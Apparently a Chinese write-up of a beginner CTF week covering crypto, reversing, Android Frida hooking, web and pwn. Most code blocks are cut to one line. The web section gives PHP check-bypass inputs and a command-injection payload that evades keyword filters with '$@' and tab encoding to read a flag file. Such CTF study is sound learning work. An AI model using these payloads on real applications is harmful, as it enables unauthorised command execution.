Newstart CTF Week1-Wirteup
CRYPTO
caeser
synt{uvfgbevpny_pvcure_vf_ihyarenoyr}提示凯撒加密,直接穷举得到flag。
flag{historical_cipher_is_vulnerable}
吉奥万·巴蒂斯塔·贝拉索先生的密码
pqcq{gteygpttmj_kc_zuokwv_kqb_gtofmssi_mnrrjt}
Hint: key length is 3
题目讲的就是Vigenère cipher,一把梭。
flag{bruteforce_is_useful_for_breaking_cipher}
eazyxor
xor.py
1 | from os import urandom |
output.txt:
1 | 9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480 |
urandom(1)就是随机生成一个字符串 赋值给key
密文由xor(flag,key)生成的。xor函数就是遍历flag将每一位与key异或,密文以16进制输出。
思路:
一个数异或另一个数两次返回本身,那么思路就是找出这个key。
我们已知明文前缀为flag{,那么可以把前缀与密文的16进制进行异或,得到key为253
exp.py
1 | key = 253 |
flag{x0r_i5_qu1t3_3azy}
RSA_begin
task.py
1 | from Crypto.Util.number import * |
可以看到flag被分成5个部分。
level1:
1 | # Try to implement your RSA with primes p and q |
p,q,e,c都给出来了,直接求,也可以工具一把梭。
1 | def flag1(): |
level2:
1 | # But how can we attack the RSA when we didn't know the primes? |
这题给了n,没有p q,工具分解一下。
1 | def flag2(): |
level3:
1 | # Different e may cause danger? |
可以看到e很小,考虑低加密指数攻击。
1 | def flag3(): |
level4:
1 | # So is there anything wrong with RSA as shown below? |
看到这个e = inverse(d, (p-1) * (q-1)),考虑维纳攻击
level5:
1 | # What about different n? Just have a try with the hint! |
可以看到n很大,尝试用factor分解,没想到分解出来了。有可能是非预期解吧,hint没有用到。
直接带入就能出flag。
flag{W0w_U_ar3_re4L1y_g0Od_4t_m4th_4nD_RSA!!}
chaos
chaos.py
1 | import random |
已知条件:k1,k2,c
Step 1:
先看最底下先运行的部分,key,data = init(),跟进
首先,k1,k2是3.2到4区间的随机小数,题目print出来了,也就是key。 这是题目给我们的已知条件key
其次,sum,r,k给了我们,其中k也被print出来,我们看看k是什么东西。
k经过了16次循环,每次添加1-256之间的随机数,与此同时 sum和r也与k有关,那么题目告诉了我们k还有sum和r的原值,我们可以推出sum和r
sum和r又有什么用呢?
这些数据都与sum和r有关,只要我们知道了sum和r,就可以知道这些数据,也就是return回去的data
所以我们已知条件已有:sum,r,k
可以推出 => a_1, timea1, b_1, timeb1, xc_1, yc_1 => data
已知:k1,k2 可以推出=> key
先写脚本把data推出,遍历k,然后得出sum和r 最后把每个值得出即可。
1 | sum, r, k = 0, 1, [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132] |
REVERSE
Hello_Reverse
查壳,发现无壳,PE64位文件,直接丢进IDA64。
按shift + F12,搜索整个文件的字符串,拿到前半截flag
找到主函数,按f5反汇编得到后半段flag
flag{h3llo_r3vers1ng_w0rld}
Baby_Re
查壳,是ELF64位的无壳程序。
观察main函数,按n稍微改变下变量名好观察,可以发现我们的输入异或了自身下标,随后进去compare函数。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
观察compare函数,可以发现其直接与密文比较,那么进入final与自身下标异或。
1 | signed __int64 __fastcall compare(const char *input) |
异或后发现flag是错误的。
看hint,程序真的都是从main开始的吗?简单来说程序的运行流程
- Init -> main
对抗这种Init段该了些数值的办法一个是动调。
另一个就是 X!交叉引用
即可在目标地方发现了改了密文的地方,密文这几个位被更改了。
1 | void FunctionName() |
那么拿到正确密文
1 | final=[0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 0x36, 0x6A, 0x6D, 0x7D, |
flag{S0meth1ng_run_bef0re_main!}
Pyre
python程序逆向,用pyinstxtractor.py解包
直接uncompyle6反编译pyc
1 | # uncompyle6 version 3.8.0 |
分析代码,可以发现我们的输入只是进行了经过table表的下标混淆,直接经过table表还原即可。
1 | table = [7, 8, 1, 2, 4, 5, 13, 16, 20, 21, 0, 3, 22, 19, 6, 12, 11, 18, 9, 10, 15, 14, 17] |
flag{PYRE_1S_S0_FUN!!!}
EasyRe
该程序从enc.dll中加载encode函数,我们的明文str经过encode加密而后与final进行比较。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
将该enc.dll拉进IDA分析encode函数,Ctrl + F 在函数框中 搜索函数。(为什么出现两个encode,这其实是C++逆向的特性,具体原因以后会慢慢明白)
1 | __int64 __fastcall encode_0(const char *a1, __int64 a2) |
进入aAbcdefghijklmn发现一串字符串,很明显的base64加密。
随后return进入sub_18001132A函数,发现你逻辑是与一个字符串’Reverse’进行异或。
1 | const char *__fastcall sub_180011660(const char *output) |
那么逆向的过程就是将密文异或字符串,再Base64解密即可。
动调拿到数据。
exp
1 | import pybase64 |
flag{Base64_1s_1nterestr1ng!!}
艾克体悟题
apk逆向,jeb反汇编java。
在FlagActivity类里发现代码逻辑是当cnt大于10000就能得到flag。
这里有两种方法可以get flag
那么一个思路就是点一万下
另一个思路就是hook access$000 函数让该函数直接返回10000,判断就成立了,我们就GetFlag了
所以此时就可以用 Frida 了,就是在程序运行的时候 hook 返回值变为1000即可
1 | ./data/local/tmp/frida-server # 进入shell Frida启动! |
再进入一个shell 启动指定控件
1 | am start -n com.droidlearn.activity_travel/com.droidlearn.activity_travel.FlagActivity |
查看我们启动控件的PID
1 | C:\Users\hungs>frida-ps -aU |
接着我们就是 attach 上了
1 | import frida |
接着可以编写我们的 js 脚本用来重写要hook的类方法
1 | console.log("Script loaded successfully "); |
接着让我们的 js 脚本加载到该目标进程上即可
1 | import frida |
运行脚本,再点击 CLICK ME 即可!
GetFlag!
WEB
前4题和最后一题不说,不难。
NotPHP
1 |
|
php代码审计。
第一层要求将参数data所带的字符串为Welcome to CTF。
用data://伪协议传入数据流绕过。
第二层要求
md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']
MD5强比较,那么用数组绕过,md5()函数无法处理数组,如果传入的为数组,会返回NULL。== 弱比较可用科学计数法绕过。参考文章:(65条消息) 浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客
第三层
!is_numeric($_POST['num']) && intval($_POST['num']) == 2077
is_numeric()判断是不是数字或数字字符串,intval() 函数用于获取变量的整数值,可以使用2077a,2077%00,2077%0a绕过
第四层
eval("#".$_GET['cmd']);
.拼接字符串,#后的被注释了,可以用%0a换行绕过,或者?>闭合。
即可得到flag。
So Baby RCE
1 |
|
简单写个脚本,可以看到这些字符没被过滤。
利用cd
切换目录,&&
执行多条,$@
绕过关键字
1 | ?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls |
playload:
1 | ?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg |
PWN
ret2text
1 | from pwn import * |
calc
1 | from pwn import * |
ret2libc
1 | from pwn import * |
ret2shellcode
1 | from pwn import * |
fallw1nd’s gift
1 | from pwn import * |